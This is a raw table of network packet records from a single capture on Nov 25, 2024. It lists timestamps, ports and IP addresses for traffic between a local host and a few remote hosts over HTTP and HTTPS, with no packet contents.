Nov 25, 2024 03:39:54.148991108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.149167061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.149758101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.149856091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.149888039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.149926901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.150640011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.150746107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.150811911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.151520014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.151626110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.151648998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.151668072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.152401924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.152473927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.152506113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.152544975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.153285027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.153337002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.153390884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.153932095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.154181957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.154230118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.154298067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.154438019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.155014992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.155139923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.155205011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.155900955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.156023026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.156049013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.156071901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.156790018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.156897068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.156959057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.157668114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.157778025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.157839060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.158565044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.158611059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.158667088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.158714056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.159471989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.159640074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.159640074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.160337925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.160387039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.160495043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.160540104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.161226988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.161283016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.161350012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.161609888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.162053108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.162116051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.162169933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.162712097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.162935972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.163050890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.163084030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.163104057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.163816929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.163952112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.163994074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.163994074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.164649010 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.164705992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.164747000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.164822102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.164961100 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.165005922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.165611029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.165725946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.165728092 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.165776014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.166469097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.166506052 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.166527987 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.166542053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.166575909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.166697025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.166764021 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.166770935 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.166877985 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.166906118 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.167373896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.167455912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.167515993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.167577982 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.167642117 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.167721033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.167762041 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.167813063 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.168247938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.168287039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.168344021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.168399096 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.168404102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.168459892 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.169131041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.169244051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.169497967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.169980049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.170103073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.170156002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.170855045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.170903921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.170973063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.171749115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.171757936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.171852112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.171891928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.172658920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.172754049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.172804117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.173501015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.173578978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.173625946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.174390078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.174491882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.174539089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.175211906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.175308943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.181046963 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.181168079 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.181919098 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.181983948 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.184484959 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.184654951 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.185661077 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.185669899 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.185791969 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.185801983 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.186218977 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.186240911 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.228782892 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.229173899 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.229199886 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.230271101 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.230338097 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.230709076 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.230772018 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.231023073 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.231030941 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.237215996 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.237215996 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.237221956 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.284183979 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.292705059 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293021917 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.293045998 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293271065 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293293953 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293344975 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.293364048 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293620110 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.293982983 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.294056892 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.294177055 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.294797897 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.294842005 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.294905901 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.302697897 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.302751064 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.302994967 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.304068089 CET	49819	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.304084063 CET	443	49819	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.339334965 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:54.339468002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.339529037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.339590073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.339639902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.339907885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.340023994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.340045929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.340085030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.340763092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.340903997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.341104031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.341147900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.341193914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.341301918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.341985941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.342046022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.342081070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.342170000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.342849970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.342909098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.342959881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.343013048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.343733072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.343779087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.343818903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.343916893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.344619036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.344702005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.344733953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.344778061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.345494986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.345616102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.345729113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.346394062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.346499920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.346556902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.347269058 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:54.347274065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.347410917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.347460032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.348129988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.348247051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.348295927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.349034071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.349117994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.349184036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.349904060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.349955082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.350018978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.350058079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.350769043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.350881100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.350929022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.351651907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.351731062 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.351772070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.351778984 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.351830006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.351865053 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.351985931 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352030993 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.352108002 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352121115 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.352163076 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352221966 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352382898 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352392912 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.352554083 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352561951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.352586031 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352591991 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.352608919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.352644920 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.352668047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.352710962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.353116035 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.353130102 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.353271961 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.353285074 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.353435040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.353461027 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.353471994 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.353488922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.353526115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.353562117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.353600979 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.353610992 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.353713989 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:54.353749037 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:54.354166031 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:54.354207993 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:54.354290962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.354296923 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:54.354367971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.354413986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.354463100 CET	49825	443	192.168.2.8	18.239.168.24
Nov 25, 2024 03:39:54.354477882 CET	443	49825	18.239.168.24	192.168.2.8
Nov 25, 2024 03:39:54.355184078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.355241060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.355273962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.355319977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.356050968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.356107950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.356172085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.356277943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.356935024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.357023954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.357058048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.357104063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.357810974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.357940912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.357996941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.358699083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.358750105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.358808041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.358863115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.359575987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.359622955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.359710932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.359791040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.360475063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.360524893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.360599041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.360649109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.361386061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.361500978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.361565113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.362224102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.362328053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.362382889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.363102913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.363154888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.363174915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.363436937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.363991022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.364037037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.364134073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.364182949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.364871025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.364931107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.364959955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.365051985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.365756035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.365838051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.365864038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.365912914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.366630077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.366698980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.366730928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.366847038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.367489100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.367537022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.367594957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.367651939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.368383884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.368429899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.368511915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.368572950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.369259119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.369313002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.369348049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.369411945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.370131969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.370218039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.370240927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.370282888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.371015072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.371099949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.371131897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.371176958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:54.371892929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:54.371982098 CET	49748	80	192.168.2.8	185.215.113.206
